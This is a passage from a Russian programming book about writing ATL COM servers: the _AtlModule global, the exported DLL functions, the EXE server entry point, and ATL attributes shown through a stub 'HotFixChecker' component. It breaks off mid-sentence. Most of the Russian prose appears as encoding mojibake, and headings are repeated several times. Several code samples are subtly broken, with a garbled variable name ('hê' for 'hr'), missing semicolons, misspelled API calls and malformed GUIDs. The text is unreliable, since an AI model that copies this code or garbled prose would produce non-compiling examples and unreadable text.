Ïðè ðàçðàáîòêå COM-ñåðâåðà ó âàñ åñòü âûáîð: íàïèñàòü âåñü êîä âðó÷íóþ,
âîñïîëüçîâàòüñÿ âñòðîåííûìè â Visual Studio ìàñòåðàìè èëè ïðèìåíèòü ñìå-
øàííûé ïîäõîä. Îáùåå ïðàâèëî – ïîñòóïàòü òàê, êàê äèêòóåò êîíêðåòíûé
ïðîåêò. Åñëè âû äåëàåòå ÷òî-òî íåîáû÷íîå, òî æåëàòåëüíî ïîëó÷èòü áîëü-
øèé êîíòðîëü íàä ïðîåêòîì, è òîãäà ëó÷øå ïèñàòü âðó÷íóþ. Íî íà êàêîì áû
ðåøåíèè âû íè îñòàíîâèëèñü, íàäî ïîíèìàòü, ÷òî òðåáóåòñÿ îò ìîäóëÿ è êàê
ýòîãî äîáèòüñÿ.

Ãëîáàëüíàÿ ïåðåìåííàÿ Ãëîáàëüíàÿ ïåðåìåííàÿ Ãëîáàëüíàÿ ïåðåìåííàÿ Ãëîáàëüíàÿ ïåðåìåííàÿ Ãëîáàëüíàÿ ïåðåìåííàÿ _AtlModule_AtlModule_AtlModule_AtlModule_AtlModule
Â ëþáîì ïðèëîæåíèè, êîòîðîå ïèøåòñÿ ñ ïðèìåíåíèåì áèáëèîòåêè ATL, âíå
çàâèñèìîñòè îò òèïà ñåðâåðà, äîëæíà áûòü îïðåäåëåíà ãëîáàëüíàÿ ïåðåìåííàÿ
ñ èìåíåì _AtlModule. Ìåíÿåòñÿ îò ïðîåêòà ê ïðîåêòó åå òèï, êîòîðûé çàâèñèò
îò âûáðàííîãî âèäà ïðîåêòà. Íàïðèìåð, ïðè ðåàëèçàöèè ñåðâåðà â âèäå DLL
ýòà ïåðåìåííàÿ äîëæíà èìåòü òèï CAtlDllModuleT, à äëÿ ñåðâåðà â âèäå EXE-
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ôàéëà – òèï CAtlExeModuleT. Èìåííî òèï ïåðåìåííîé _AtlModule è âêëþ÷àåò
â ïðèëîæåíèå íóæíóþ ôóíêöèîíàëüíîñòü.

Îáúÿâèòü îäèí ëèøü êëàññ ìîäóëÿ ïðè ðàáîòå ñ ATL íåëüçÿ; îí äîëæåí
áûòü ïðîèçâîäíûì îò ñîçäàâàåìîãî âàìè êëàññà. Ýòî ïîçâîëÿåò âêëþ÷èòü
â ìîäóëü íåêîòîðûå êîíñòàíòíûå ñâîéñòâà, íå âûçûâàÿ íèêàêèõ ôóíêöèé
èíèöèàëèçàöèè. Ïðèâåäåì ïðèìåð:

class CMyApplicationModule :
public CAtlDllModuleT< CMyApplicationModule >
{
public:
   DECLARE_LIBID(LIBID_MyApplicationModule)
   DECLARE_REGISTRY_APPID_RESOURCEID(IDR_MYAPPLICATIONMODULE,
           "{4DD88301-0C57-416B-953C-3829095440C05}")

}

CMyApplicationModule _AtlModule;

Ïðåäûäóùèé ôðàãìåíò ñîäåðæèò ñêåëåò îáúÿâëåíèÿ è îïðåäåëåíèÿ ëþáî-
ãî  âíóòðèïðîöåññíîãî  COM-ñåðâåðà. Êëàññ CMyAppl icationModule íàñëåäóåò
âõîäÿùåìó â ATL øàáëîííîìó êëàññó CAtlDllModuleT, êîòîðûé ïðåäîñòàâëÿ-
åò âñþ ñâîéñòâåííóþ DLL ôóíêöèîíàëüíîñòü è ïðèíèìàåò â êà÷åñòâå ïàðà-
ìåòðà èìÿ êëàññà CMyAppl icationModule.

Ñëåäóþùèå  äâå  ñòðîêè ñîîáùàþò êëàññó CMyAppl icationModule êîíñòàíò-
íóþ èíôîðìàöèþ, à èìåííî: GUID áèáëèîòåêè òèïîâ (LIBID), õðàíÿùèéñÿ
â ïåðåìåííîé LIBID_MyAppl icationModule, è èäåíòèôèêàòîð ðåñóðñà, â êîòî-
ðîì íàõîäèòñÿ ñöåíàðèé ðååñòðà. Êðîìå òîãî, ìàêðîñ DECLARE_REGIST-
RY_APPID_RESOURCEID, êàê ñëåäóåò èç åãî íàçâàíèÿ, ïåðåäàåò êëàññó ìîäó-
ëÿ èäåíòèôèêàòîð ïðèëîæåíèÿ APPID, êîòîðûé áóäåò íóæåí âî âðåìÿ ðå-
ãèñòðàöèè.

Ôóíêöèè, ýêñïîðòèðóåìûå èç DLLÔóíêöèè, ýêñïîðòèðóåìûå èç DLLÔóíêöèè, ýêñïîðòèðóåìûå èç DLLÔóíêöèè, ýêñïîðòèðóåìûå èç DLLÔóíêöèè, ýêñïîðòèðóåìûå èç DLL
Âûøå ìû óæå ãîâîðèëè, ÷òî COM-îáúåêòû, ðåàëèçîâàííûå â âèäå DLL,

äîëæíû ýêñïîðòèðîâàòü ÷åòûðå ôóíêöèè, ÷òîáû ñðåäà èñïîëíåíèÿ ìîãëà èõ
êîððåêòíî çàãðóçèòü. Ôóíêöèè íàçûâàþòñÿ DllGetClassObject, DllCanUnload-
Now, DllRegisterServer è DllUnregisterServer. Ïîääåðæêà, ïðåäîñòàâëÿåìàÿ ATL,
ïîçâîëÿåò ïåðåìåñòèòü âåñü ñâÿçàííûé ñ íèìè ñòàíäàðòíûé êîä â áèáëèîòåêó.
×òîáû ïîíÿòü, êàê ýòî äåëàåòñÿ, ðàññìîòðèì ñëåäóþùèé êîä, ñãåíåðèðîâàí-
íûé ìàñòåðîì:

STDAPI DllGetClassObject(
  REFCLSID rclsid,
  REFIID riid,

Библиотека ATL
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  LPVOID* ppv)
{
  return _AtlModule.DllGetClassObject(
         rclsid, riid, ppv);
}

Ïðåæäå ÷åì ïåðåõîäèòü ê àíàëèçó ýòîãî êîäà, óìåñòíî áóäåò ñäåëàòü íå-
ñêîëüêî çàìå÷àíèé. ATL íå ýêñïîðòèðóåò ÿâíî íèêàêèõ ôóíêöèé èç âàøåãî
ìîäóëÿ. Ïîýòîìó âû ñîõðàíÿåòå ïîëíûé êîíòðîëü íàä òåì, êàê ìîäóëü ñòðî-
èòñÿ. Îäíàêî ATL ïðåäîñòàâëÿåò ñòàíäàðòíóþ ðåàëèçàöèþ òîãî, ÷òî òðåáóåò-
ñÿ îò ýêñïîðòèðóåìûõ ôóíêöèé, çàêëþ÷àÿ åå â êëàññ CAtlDllModuleT, êîòîðî-
ìó ïðèíàäëåæèò ïåðåìåííàÿ _AtlModule.

Ìàñòåð, âõîäÿùèé â Visual C++, ñãåíåðèðîâàë ïîêàçàííóþ âûøå ýêñïîðòè-
ðóåìóþ ôóíêöèþ DllGetClassObject, çàñòàâèâ åå ïðîñòî äåëåãèðîâàòü âñþ ðà-
áîòó ìåòîäó DllGetClassObject ãëîáàëüíîãî îáúåêòà _AtlModule. Òîò ïðîàíàëè-
çèðóåò çàïðîñ è, åñëè çàïðîøåííûé êîìïîíåíò áóäåò íàéäåí, ñîçäàñò è âåðíåò
ôàáðèêó êëàññà äëÿ íåãî.

ATL îïðåäåëÿåò, êàêèå îáúåêòû ìîæåò ïðåäîñòàâèòü, íà îñíîâàíèè èíôîð-
ìàöèè, ïîëó÷åííîé îò ñàìèõ îáúåêòîâ, êîòîðûå îáúÿâèëè î ñåáå è ïîæåëàëè
ïðåäîñòàâëÿòü ñâîè óñëóãè êëèåíòàì ìîäóëÿ. Òàêîå îáúÿâëåíèå äåëàåòñÿ
ñ ïîìîùüþ ìàêðîñà OBJECT_ENTRY_AUTO, êîòîðûé îáû÷íî ðàñïîëàãàåòñÿ
ïîñëå îáúÿâëåíèÿ ñîîòâåòñòâóþùåãî êëàññà. Ýòîò ìàêðîñ âñòàâëÿåò CLSID è
èìÿ êëàññà â êàðòó îáúåêòîâ ìîäóëÿ, ïîääåðæèâàåìóþ ATL. Çíàÿ ýòî, ATL ìî-
æåò ïðàâèëüíî âûïîëíèòü ðåãèñòðàöèþ è ñîçäàíèå ôàáðèêè êëàññà.

STDAPI DllRegisterServer(void)
{
   HRESULT hê = _AtlModule.DllRegisterServer()
   return hr;
}

Çäåñü ïðåäñòàâëåíî îïðåäåëåíèå ýêñïîðòèðóåìîé ôóíêöèè DllRegister-
Server. Êàê âèäíî, îíà äåëåãèðóåò âñþ ðàáîòó ìåòîäó DllRegisterServer ãëîáàëü-
íîãî îáúåêòà _AtlModule.

STDAPI DllUnregisterServer(void)
{
   HRESULT hê = _AtlModule.DllUnregisterServer()
   return hr;
}

È çäåñü òî æå ñàìîå – ýêñïîðòèðóåìàÿ ôóíêöèÿ äåëåãèðóåò çàïðîñ ìåòîäó
_AtlModule.

STDAPI DllCanUnloadNow(void)
{
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   return _AtlModule.DllCanUnloadNow()
}

Òà æå êàðòèíà.

Òî÷êà âõîäà â ìîäóëüÒî÷êà âõîäà â ìîäóëüÒî÷êà âõîäà â ìîäóëüÒî÷êà âõîäà â ìîäóëüÒî÷êà âõîäà â ìîäóëü
Âñå äèíàìè÷åñêè çàãðóæàåìûå áèáëèîòåêè â Windows äîëæíû ýêñïîðòèðî-
âàòü òî÷êó âõîäà DllMain. Åñëè âàñ óñòðàèâàåò ñòàíäàðòíàÿ ðåàëèçàöèÿ, òî ìî-
æåòå ïðîñòî îáðàòèòüñÿ ê ìåòîäó DllMain êëàññà CAtlDllModuleT. Âïðî÷åì,
ýòî íåîáÿçàòåëüíî. Ïðåäëàãàåìàÿ ATL ðåàëèçàöèÿ äåëàåò íåñêîëüêî ïðîñòûõ
ïðîâåðîê è âîçâðàùàåò TRUE.

Ðåàëèçàöèÿ âíåïðîöåññíîãî COM-ñåðâåðàÐåàëèçàöèÿ âíåïðîöåññíîãî COM-ñåðâåðàÐåàëèçàöèÿ âíåïðîöåññíîãî COM-ñåðâåðàÐåàëèçàöèÿ âíåïðîöåññíîãî COM-ñåðâåðàÐåàëèçàöèÿ âíåïðîöåññíîãî COM-ñåðâåðà
Çíàÿ, êàê ðåàëèçóåòñÿ COM-ñåðâåð â âèäå DLL, âû, íàâåðíîå, ñî÷òåòå, ÷òî
íàïèñàíèå ñåðâåðà â âèäå EXE-ôàéëà àíàëîãè÷íî è â ÷åì-òî äàæå ïðîùå.
ATL ïðåäîñòàâëÿåò îáøèðíóþ ïîääåðæêó ïðàêòè÷åñêè äëÿ âñåõ àñïåêòîâ ðåà-
ëèçàöèè EXE-ñåðâåðà.

Ãëîáàëüíàÿ ïåðåìåííàÿ _AtlModuleÃëîáàëüíàÿ ïåðåìåííàÿ _AtlModuleÃëîáàëüíàÿ ïåðåìåííàÿ _AtlModuleÃëîáàëüíàÿ ïåðåìåííàÿ _AtlModuleÃëîáàëüíàÿ ïåðåìåííàÿ _AtlModule
Â ñëó÷àå EXE-ñåðâåðà ïåðåìåííàÿ _AtlModule ïðåäñòàâëÿåò ñîáîé îáúåêò êëàñ-
ñà ïðîèçâîäíîãî îò øàáëîííîãî êëàññà CAtlExeModuleT. Âû ìîæåòå ñêîíôè-
ãóðèðîâàòü ýòîò êëàññ ñ ïîìîùüþ ìàêðîñîâ ATL. Âîò ïðèìåð îáúÿâëåíèÿ è
îïðåäåëåíèÿ ïåðåìåííîé _AtlModule.

class CSpaceShipModule :
public CAtlExeModuleT< CSpaceShipModule >
{
public:
   DECLARE_LIBID(LIBID_SpaceShipLib)
   DECLARE_REGISTRY_APPID_RESOURCEID(IDR_SPACESHIP,
           "{48DF7A09-18CF-4C05-969C-2AAA42363B4AD}")

}

CSpaceShipModule _AtlModule;

Çäåñü îáúÿâëåí êëàññ CSpaceShi pModule, íàñëåäóþùèé êëàññó CAtlExeMo-
duleT, è è ñ ïîìîùüþ ìàêðîñîâ äëÿ íåãî çàäàíà íåêîòîðàÿ ñòàòè÷åñêàÿ èí-
ôîðìàöèÿ.

Òî÷êà âõîäà â ìîäóëüÒî÷êà âõîäà â ìîäóëüÒî÷êà âõîäà â ìîäóëüÒî÷êà âõîäà â ìîäóëüÒî÷êà âõîäà â ìîäóëü
Ñóùåñòâåííàÿ ÷àñòü ðàáîòû EXE-ñåðâåðà âûïîëíÿåòñÿ â åãî òî÷êå âõîäà. ×òî-
áû ïðåäîñòàâèòü äîñòóï ê ñâîèì îáúåêòàì êëèåíòàì, íàõîäÿùèìñÿ â äðóãîì
ïðîöåññå, ñåðâåð äîëæåí âûïîëíèòü ðÿä äåéñòâèé:

Библиотека ATL
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� çàðåãèñòðèðîâàòü ñâîè îáúåêòû â ãëîáàëüíîì êýøå;
� ïîñìîòðåòü, íåò ëè â êîìàíäíîé ñòðîêå ôëàãà /regserver, è, åñëè åñòü, çà-

ðåãèñòðèðîâàòü îáúåêò â ðååñòðå;
� åñëè â êîìàíäíîé ñòðîêå åñòü ôëàã /unregserver, óäàëèòü èç ðååñòðà èí-

ôîðìàöèþ î ðàíåå çàðåãèñòðèðîâàííûõ îáúåêòàõ.

Âñå ýòè äåéñòâèÿ âûïîëíÿþòñÿ îäíîé ôóíêöèåé WinMain, ïðåäîñòàâëÿå-
ìîé êëàññîì CAtlExeModuleT, êîòîðàÿ ðåøàåò èõ ñëåäóþùèì îáðàçîì:

T* pT = static_cast<T*>(this);
LPTSTR lpCmdLine = GetCommadLine();
if (pT->ParseCommadLine(lpCmdLine, &hr) == true)
   hr = pt->Run(nShowCmd);

Ñíà÷àëà óêàçàòåëü this ïðèâîäèòñÿ ê êëàññó âàøåãî EXE-ñåðâåðà íà ñëó÷àé,
åñëè âû çàõîòèòå ðåàëèçîâàòü ñâîé ñïîñîá ðàçáîðà àðãóìåíòîâ â êîìàíäíîé
ñòðîêå èëè ñàìîñòîÿòåëüíî óïðàâëÿòü ñîñòîÿíèåì ïðèëîæåíèÿ èç ìåòîäà
Run. Ðåøèòü ýòè çàäà÷è ìîæíî, äîáàâèâ â êëàññ, êîòîðîìó ïðèíàäëåæèò
îáúåêò _AtlModule, òàêèå ñòðîêè:

HRESULT Run(int nShowCmd)
{
  return CAtlExeModuleT<CSpaceShipModule>::Run(nShowCmd);
}

HRESULT ParseCommadLine(LPCTSTR lpCmdLine, HRESULT *pnRetCode)
{
  return CAtlExeModuleT<CSpaceShipModule>::ParseCommadLine(
     lpCmdLine, pnRetCode);
}

Ìåòîä Run êëàññà CAtlExeModuleT âûçûâàåò ìåòîä PreMessageLoop òîãî
æå êëàññà. Ýòîò ìåòîä è îòâå÷àåò çà ðåãèñòðàöèþ îáúåêòîâ, êîòîðûìè ìîãóò
ïîëüçîâàòüñÿ êëèåíòû.

Ïîñëå òîãî êàê îáúåêòû çàðåãèñòðèðîâàíû è îêðóæåíèå EXE-ñåðâåðà ïîä-
ãîòîâëåíî, ìåòîä Run âûçûâàåò ìåòîä RunMessageLoop, êîòîðûé âõîäèò
â ñòàíäàðòíûé öèêë îáðàáîòêè ñîîáùåíèé. Åãî ìîæíî òàêæå ïåðåîïðåäå-
ëèòü ñ ïîìîùüþ êîäà, àíàëîãè÷íîãî ïðèâåäåííîìó âûøå.

Êîãäà ìîäóëü áóäåò ãîòîâ ê çàâåðøåíèþ, ìåòîä Run âûçîâåò PostMessa-
geLoop, êîòîðûé óäàëèò çàðåãèñòðèðîâàííûå îáúåêòû è îñâîáîäèò ðåñóðñû,
çàíÿòûå ATL. Çàòåì óïðàâëåíèå âåðíåòñÿ â òî÷êó âõîäà â ïðèëîæåíèå.

Атрибуты ATL

Èòàê, ìû ïîçíàêîìèëèñü ñ îñíîâàìè ðàçðàáîòêè COM-îáúåêòîâ ñ ïîìîùüþ
áèáëèîòåêè ATL. Ñåé÷àñ âû óæå ìîãëè áû íàïèñàòü ñîáñòâåííûå COM-îáú-
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åêòû áåç äîïîëíèòåëüíûõ çíàíèé. Íî âû, êîíå÷íî, ïîíèìàåòå, ÷òî ðàçðàáîò-
êà COM-ñåðâåðà – ýòî íå ïðîñòàÿ çàäà÷à. Òóò-òî è ïðèõîäèò íà ïîìîùü íîâàÿ
âîçìîæíîñòü, ïîÿâèâøàÿñÿ â Visual C++.NET, – àòðèáóòû C++.

Íàçíà÷åíèå àòðèáóòà C++ – àâòîìàòè÷åñêè âñòàâèòü â âàø èñõîäíûé òåêñò
íåêîòîðûé êîä, ðåøàþùèé êîíêðåòíóþ çàäà÷ó. Àòðèáóòû C++ ðåàëèçóþòñÿ
ïðîâàéäåðàìè àòðèáóòîâ, è òàêèì ïðîâàéäåðîì â ñëó÷àå ATL ñëóæèò áèáëèî-
òåêà atlprov.dll.

Ïðèìåíåíèå àòðèáóòîâ ATL íàìíîãî ñîêðàùàåò îáúåì êîäà, êîòîðûé íàäî
íàïèñàòü äëÿ ïîëó÷åíèÿ êîìïîíåíòà. Â ÷àñòíîñòè, âàì óæå íå íóæíî âîçèòüñÿ
ñî ñöåíàðèÿìè ðååñòðà è îïðåäåëåíèåì èíòåðôåéñà íà ÿçûêå IDL. Êðîìå òîãî,
ïðîâàéäåð àòðèáóòîâ âêëþ÷àåò ïîääåðæêó äëÿ íàïèñàíèÿ ATL-ñåðâåðà, êëèåíòà
OLE DB, ïðîãðàììèðîâàíèÿ ïîêàçàòåëåé ïðîèçâîäèòåëüíîñòè è Web-ñåðâèñîâ.

Êîäèðîâàíèå ñ èñïîëüçîâàíèåì àòðèáóòîâ ATL î÷åíü íàïîìèíàåò ñîñòàâ-
ëåíèå îïèñàíèÿ íà ÿçûêå IDL. Íà ñàìîì äåëå, ìíîãèå àòðèáóòû èìåþò òàêîé
æå ñèíòàêñèñ, êàê â IDL. Ïîäîáíî IDL, àòðèáóòû îáúÿâëÿþòñÿ â êâàäðàòíûõ
ñêîáêàõ è ïðåäøåñòâóþò íåêîòîðûì êîíñòðóêöèÿì (îáúÿâëåíèþ êëàññà,
ñòðóêòóðû, èíòåðôåéñà, ôóíêöèè è òàê äàëåå).

×òîáû íà÷àòü ïîëüçîâàòüñÿ àòðèáóòàìè ATL â ñâîåé ïðîãðàììå, íåîáõîäè-
ìî îïðåäåëèòü êîíñòàíòó _ATL_ATTRIBUTES ïåðåä çàãîëîâî÷íûì ôàéëîì
atlbase.h. Â ðåçóëüòàòå ôàéë atlbase.h âêëþ÷àåò äîïîëíèòåëüíûé ôàéë atlplus.h,
êîòîðûé è ñîäåðæèò íåîáõîäèìûå äëÿ ðàáîòû ñ àòðèáóòàìè îáúÿâëåíèÿ.

Ðàññìîòðèì òèïè÷íûé ïðèìåð ïðîãðàììû, êîòîðàÿ ðåàëèçóåò ïîëíîôóíê-
öèîíàëüíûé COM-ñåðâåð â âèäå DLL, ïðåäîñòàâëÿþùèé êëèåíòàì îäèí
COM-îáúåêò.

 1 #include <windows.h>

 2
 3 #define _ATL_ATTRIBUTES

 4 #define _ATL_APARTMENT_THREADED

 5
 6 #include <atlbase.h>

 7 #include <atlcom.h>

 8
 9 [module(type=dll, name="HotFixChecker")];

10
11 [object, uuid("EAA203CA-24D4-4C49-9A76-1327068987D8")]

12 __interface IHotFixChecker

13 {

14   HRESULT IsHotFixInstalled([in] BSTR bstrQNumber,

15           [out, retval] VARIANT_BOOL *pbInstalled);

16 };

17
18 [coclass

19    uuid("FC9CBC60-4648-4E66-9409-610AD30689C7"),
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20    vi_progid("HotFixChecker")

21 ]

22 class ATL_NO_VTABLE CHotFixChecker :

23 public IHotFixChecker

24 {

25 public:

26   HRESULT IsHotFixInstalled(BSTR bstrQNumber,

27           VARIANT_BOOL *pbInstalled)

28   {

29     // TODO: ðåàëèçîâàòü ôóíêöèþ

30     return S_OK;

31   }

32 };

Âñåãî 27 ñòðîê – è ìû èìååì ïîëíîôóíêöèîíàëüíûé COM-ñåðâåð â âèäå
DLL âìåñòå ñ âîçìîæíîñòüþ àâòîðåãèñòðàöèè, áèáëèîòåêîé òèïîâ è ãîòîâûì
äëÿ êîìïèëÿöèè êîäîì çàãëóøêè è çàìåñòèòåëÿ. ×òîáû ñäåëàòü òî æå ñàìîå,
íå ïðèáåãàÿ ê ATL, ïîíàäîáèëîñü áû íàïèñàòü ïðèìåðíî 800 ñòðîê êîäà.
Ôàéë, ñîäåðæàùèé àâòîìàòè÷åñêè âñòàâëåííûé êîä, ñîäåðæèò 318 ñòðîê –
ñòîëüêî âû íàïèñàëè áû ñàìè, åñëè áû íå ïîëüçîâàëèñü àòðèáóòàìè (ïðàâäà,
ñãåíåðèðîâàííûé ôàéë ãðåøèò ìíîãîñëîâèåì). À òåïåðü õâàòèëî âñåãî äâàä-
öàòè ñåìè.

Ïðîàíàëèçèðóåì ýòîò ïðèìåð, ÷òîáû ïîíÿòü, êàê æå ïèøåòñÿ COM-ñåðâåð
ñ ïðèìåíåíèåì àòðèáóòîâ ATL.

Àòðèáóò moduleÀòðèáóò moduleÀòðèáóò moduleÀòðèáóò moduleÀòðèáóò module
[module(type=dll, name="HotFixChecker")];

Àòðèáóò module íåîáõîäèì, ÷òîáû ïðîåêò «îòîðâàëñÿ îò çåìëè». Åñëè çà-
áûòü ïðî íåãî, òî ATL-ïðîåêò äàæå íå îòêîìïèëèðóåòñÿ, ïîñêîëüêó ýòîò àò-
ðèáóò îòâå÷àåò çà ìíîãèå âàæíûå îïåðàöèè, êîòîðûå äîëæåí âûïîëíÿòü ðåà-
ëèçóåìûé ñåðâåð. Òèï ìîäóëÿ çàäàåòñÿ ñ ïîìîùüþ ïàðàìåòðà type, êîòîðûé
ìîæåò ïðèíèìàòü çíà÷åíèÿ EXE, DLL è SERVICE. Îò çíà÷åíèÿ type çàâèñèò
êëàññ, êîòîðîìó ïðèíàäëåæèò ãëîáàëüíàÿ ïåðåìåííàÿ _AtlModule: AtlDllMo-
dule, AtExeModule è ò.ä.

Ïðèìåíåíèå ýòîãî àòðèáóòà ïðèâîäèò ê âûïîëíåíèþ ñëåäóþùèõ äåé-
ñòâèé:

� åñëè type ðàâíî DLL, òî ðåàëèçóþòñÿ è ýêñïîðòèðóþòñÿ ôóíêöèè DllGet-
ClassObject, DllCanUnloadNow, DllRegisterServer è DllUnregisterServer;

� ðåàëèçóåòñÿ òî÷êà âõîäà â ïðèëîæåíèå: WinMain èëè DllMain;
� ñîçäàåòñÿ áèáëèîòåêà òèïîâ è â ïðîåêòå îáúÿâëÿåòñÿ áëîê áèáëèîòåêè

(ñ èñïîëüçîâàíèåì çíà÷åíèÿ ïàðàìåòðà name);
� îáúÿâëÿåòñÿ è îïðåäåëÿåòñÿ ãëîáàëüíàÿ ïåðåìåííàÿ _AtlModule.
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Êàê âèäèòå, àòðèáóò âàæíûé è äåëàþùèé î÷åíü ìíîãî.
Åñëè âû õîòèòå ïåðåîïðåäåëèòü ÷àñòü ïîâåäåíèÿ, ðåàëèçóåìîãî ýòèì àòðè-

áóòîì, ÍÅ ñòàâüòå â êîíöå òî÷êó ñ çàïÿòîé, à îáúÿâèòå âñëåä çà àòðèáóòîì
êëàññ ìîäóëÿ. Íàïðèìåð, òàê:

[module(type=dll, name="HotFixChecker")]
class CHFChecker
{
public:
  int DllMain(DWORD dwReason, PVOID p)
  {
    return __super::DllMain(dwReason, p);
  }

  int RegisterServer(BOOL bRegTypeLib)
  {
    return __super::RegisterServer(bRegTypeLib);
  }
};

Êëþ÷åâîå ñëîâî __super ÿçûêà C++ ïðîñèò êîìïèëÿòîð àâòîìàòè÷åñêè
íàéòè áàçîâûé êëàññ.

Íèæå ïðèâåäåí ñïèñîê äîïóñòèìûõ ïàðàìåòðîâ àòðèáóòà module:

[module(type=dll,
   name=string,
   uuid=uuid,
   version=1.0,
   lcid=integer,
   control=boolean,
   helpstring=string,
   helpstringdll=string,
   helpfile=string,
   helpcontext=integer,
   hidden=boolean,
   restricted=boolean,
   custom=string,
   resource_name=string
) ];

Àòðèáóò interfaceÀòðèáóò interfaceÀòðèáóò interfaceÀòðèáóò interfaceÀòðèáóò interface
Èäåì äàëüøå. Åñëè âû êîãäà-íèáóäü ïèñàëè îïðåäåëåíèÿ èíòåðôåéñîâ íà ÿçû-
êå IDL, òî áåç ñîìíåíèÿ óçíàëè ñëåäóþùèé àòðèáóò:

[object, uuid("EAA203CA-24D4-4C49-9A76-1327068987D8")]
__interface IHotFixChecker

{
  HRESULT IsHotFixInstalled([in] BSTR bstrQNumber,
          [out, retval] VARIANT_BOOL *pbInstalled);
};

Библиотека ATL



674 Глава 13. Написание компонентов для задач, связанных с безопасностью

Àòðèáóò object èäåíòè÷åí îäíîèìåííîìó àòðèáóòó â IDL, ïîýòîìó ìíîãî
ãîâîðèòü î íåì íåò ñìûñëà. Îí èíôîðìèðóåò êîìïèëÿòîð î òîì, ÷òî äàëåå
ñëåäóåò îïðåäåëåíèå èíòåðôåéñà îáúåêòà, à â êâàäðàòíûõ ñêîáêàõ çàäàíû ïà-
ðàìåòðû. Â äàííîì ñëó÷àå óêàçàí ëèøü IID èíòåðôåéñà.

Êëþ÷åâîå ñëîâî __interface î÷åíü ïîëåçíî äëÿ îáúÿâëåíèÿ èíòåðôåéñîâ,
êîòîðûå äîëæíû óäîâëåòâîðÿòü íåêîòîðûì òðåáîâàíèÿì, íàïðèìåð, ïðåäú-
ÿâëÿåìûì COM. Óïîòðåáëåíèå ýòîãî ñëîâà íàëàãàåò íà ÷ëåíû èíòåðôåéñà
ñëåäóþùèå îãðàíè÷åíèÿ:

� ðàçðåøåíî íàñëåäîâàòü ïðîèçâîëüíîìó ÷èñëó áàçîâûõ èíòåðôåéñîâ;
� çàïðåùåíî íàñëåäîâàòü áàçîâîìó êëàññó;
� çàïðåùåíî âêëþ÷àòü êîíñòðóêòîðû è äåñòðóêòîðû;
� ðàçðåøåíû òîëüêî îòêðûòûå, ÷èñòî âèðòóàëüíûå ìåòîäû;
� çàïðåùåíî íàëè÷èå äàííûõ-÷ëåíîâ;
� çàïðåùåíî âêëþ÷àòü ñòàòè÷åñêèå ìåòîäû.

Òàêèì îáðàçîì, ýòî êëþ÷åâîå ñëîâî ìîæåò îêàçàòüñÿ ïîëåçíûì íå òîëüêî
äëÿ ðåàëèçàöèè COM-îáúåêòîâ.

COM-èíòåðôåéñû îïèñàíû âíóòðè áëîêà, ââîäèìîãî ñëîâîì __interface.
Êàê è â ñëó÷àå IDL, îïðåäåëåíèå èíòåðôåéñà äîëæíî áûòü îäíîçíà÷íûì, âñå
ïàðàìåòðû ñëåäóåò ïîìå÷àòü àòðèáóòîì [in] èëè [out].

Àòðèáóò coclassÀòðèáóò coclassÀòðèáóò coclassÀòðèáóò coclassÀòðèáóò coclass
[coclass
   uuid("FC9CBC60-4648-4E66-9409-610AD30689C7"),
   vi_progid("HotFixChecker")
]

Ýòîò ñèíòàêñèñ î÷åíü íàïîìèíàåò ïðèìåíÿåìûé â IDL, íî åñòü íåñêîëüêî
ðàñøèðåíèé. Àòðèáóò coclass ïðèìåíÿåòñÿ ê îáúÿâëåíèþ êëàññà, â êîòîðîì
áóäåò ðåàëèçîâàíà ôóíêöèîíàëüíîñòü êîìïîíåíòà. Ïîýòîìó íóæíî ëèøü
îïèñàòü õàðàêòåðèñòèêè êëàññà êîìïîíåíòà â ïðåäøåñòâóþùåì åìó àòðèáóòå.
Â äàííîì ñëó÷àå ìû çàäàåì CLSID è ProgID êîìïîíåíòà. Âîò íåêîòîðûå îñî-
áåííîñòè ðàáîòû ýòîãî àòðèáóòà:

� âñòàâëÿåò áëîê coclass â áèáëèîòåêó òèïîâ;
� âñòàâëÿåò êîä äëÿ ðåãèñòðàöèè CLSID è ProgID êîìïîíåíòà.

Åùå îäèí âàæíûé ïàðàìåòð, êîòîðûé ìîæíî çàäàòü â àòðèáóòå coclass, –
ýòî ïîòîêîâàÿ ìîäåëü êîìïîíåíòà. Â çàâèñèìîñòè îò íåå âñòàâëÿåòñÿ êîä,
âûâîäÿùèé âàø êëàññ èç ïîäõîäÿùåé êîíêðåòèçàöèè CComObjectRootEx.
Ïàðàìåòð ìîæåò çàäàâàòüñÿ òàê: threading=apartment èëè threading=free.

Îáúÿâëåíèå êëàññà, ñëåäóþùåãî çà ýòèì àòðèáóòîì – êàê ðàç òî ìåñòî,
êóäà ïðîâàéäåð àòðèáóòîâ è ïîìåùàåò áîëüøóþ ÷àñòü êîäà. Òàê, â ðàññìàòðè-
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âàåìîì ïðèìåðå â îáúÿâëåíèå íàøåãî êëàññà áóäóò äîáàâëåíû ñëåäóþùèå
áàçîâûå êëàññû:

public CComCoClass<CHotFixChecker, &__uuidof(CHotFixChecker)>,
public CComObjectRootEx<CComSingleThreadModel>,
public IProvideClassInfoImpl<&__uuidof(CHotFixChecker)>

Êàê âû çíàåòå, CComCoClass íàäåëÿåò êîìïîíåíò ñïîñîáíîñòüþ ñîçäàâàòü
ôàáðèêó êëàññà. CComObjectRootEx ðåàëèçóåò ïîäñ÷åò ññûëîê â çàâèñèìîñòè
îò çàäàííîé ïîòîêîâîé ìîäåëè. IProvideClassInfoImpl ðåàëèçóåò èíòåðôåéñ,
ïîçâîëÿþùèé êëèåíòàì ïîëó÷àòü óêàçàòåëü íà èíòåðôåéñ ITypeInfo.

Ñëåäóþùèé âàæíûé êóñîê, àâòîìàòè÷åñêè âñòàâëÿåìûé â êîä êîìïîíåí-
òà, – ýòî êàðòà COM:

BEGIN_COM_MAP(CHotFixChecker)
  COM_INTERFACE_ENTRY(IHotFixChecker),
  COM_INTERFACE_ENTRY(IProvideClassInfo)
END_COM_MAP()

Ïîñêîëüêó àòðèáóòû íàäåëåíû «èíòåëëåêòîì», ATL çíàåò, ÷òî íàø êëàññ
ïðåäîñòàâëÿåò òîëüêî îäèí èíòåðôåéñ IHotFixChecker è, åñòåñòâåííî, îí
âêëþ÷åí â êàðòó.

Êîìïèëÿöèÿ COM-ñåðâåðàÊîìïèëÿöèÿ COM-ñåðâåðàÊîìïèëÿöèÿ COM-ñåðâåðàÊîìïèëÿöèÿ COM-ñåðâåðàÊîìïèëÿöèÿ COM-ñåðâåðà
Ïîñëå êîìïèëÿöèè êîäà, ñãåíåðèðîâàííîãî ñ ïîìîùüþ àòðèáóòîâ, ìû ïîëó-
÷èì DLL, ñîäåðæàùóþ áèáëèîòåêó êëàññîâ è îáëàäàþùóþ ñïîñîáíîñòüþ
